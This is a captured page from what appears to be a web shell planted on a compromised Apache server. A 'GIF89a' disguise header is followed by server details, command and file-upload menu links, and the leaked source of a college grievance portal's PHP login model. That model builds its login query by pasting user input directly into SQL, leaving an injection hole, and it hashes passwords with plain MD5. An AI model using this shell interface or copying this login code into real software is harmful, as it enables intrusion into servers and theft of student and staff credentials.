GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.227.209.214 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../grievance/application/libraries/../models/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model Class For Handling All DB Operations Related To Authentication Of Student/Parent/IA/GCM/N/F/MGMNT * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class UserAuthenticator extends CI_Model { function __construct() { parent::__construct(); $this->load->database(); $this->load->library('user_agent'); $this->load->model("AccessLog"); } function authLogin($mailOrMobile, $password, $userTypeOrRole, $typeRoleFlag) { $this->db->select('*'); $this->db->from('college_admins_and_users CAU'); $this->db->where("(CAU.cau_email = '" . $mailOrMobile . "' OR CAU.cau_mobile = '" . $mailOrMobile . "')"); $this->db->where('CAU.cau_password', MD5($password)); $this->db->where('CAU.cau_delete_status', 'F'); $this->db->where('CAU.clg_id', $this->session->userdata('inst_id')); if ($typeRoleFlag == "T") { $this->db->where('CAU.cau_user_type_flag', $userTypeOrRole); } else { $this->db->where('CAU.cau_user_role_flag', $userTypeOrRole); } $query = $this->db->get(); if (sizeof($query->result()) == 1) { foreach ($query->result() as $rows) { if ($rows->cau_approve_status == 'T') { if ($rows->cau_block_status == 'F') { $access_id = $this->AccessLog->createAccessLog($rows->cau_id, $userTypeOrRole, 'T', $this->input->ip_address(), "Browser:" . $this->agent->browser() . "--Version:" . $this->agent->version() . "--Mobile:" . $this->agent->mobile() . "--Platform:" . $this->agent->platform()); $userData = array( 'id' => $rows->cau_id, 'f_name' => $rows->cau_first_name, 'l_name' => $rows->cau_last_name, 'email' => $rows->cau_email, 'mobile' => $rows->cau_mobile, 'gender' => $rows->cau_gender, 'adm_emp_no' => $rows->cau_adm_reg_roll_no, 'role' => $rows->cau_user_role_flag, 'type' => $rows->cau_user_type_flag, 'image' => $rows->cau_image_url, 'access_grant_id' => $access_id, 'logged_in' => TRUE ); $this->session->set_userdata($userData); return 1; } else { return -1; } } else { return -2; } } } else { return 0; } } function authLogout() { $access_id = $this->session->userdata('access_grant_id'); $this->AccessLog->updateAccessLog($access_id, 'F'); $admindata = array('id' => '', 'f_name' => '', 'l_name' => '', 'email' => '', 'mobile' => '', 'gender' => '', 'adm_emp_no' => '', 'role' => '', 'type' => '', 'image' => '', 'access_grant_id' => '', 'logged_in' => FALSE); $this->session->unset_userdata("userData", $admindata); $this->session->sess_destroy(); } function authenticateUserByIdAndPassword($id, $encryptedPassword) { $this->db->select("*"); $this->db->from('college_admins_and_users'); $this->db->where('cau_id', $id); $this->db->where('cau_password', $encryptedPassword); $query = $this->db->get(); if (sizeof($query->result()) == 1) { return true; } else { return false; } } function updateNewPassword($passwordUpdateData) { $this->db->where('cau_id', $passwordUpdateData['cau_id']); $this->db->update('college_admins_and_users', $passwordUpdateData); return true; } function getUserInfoBy($userId) { $this->db->select("*"); $this->db->from('college_admins_and_users'); $this->db->where('cau_id', $userId); return $this->db->get(); } }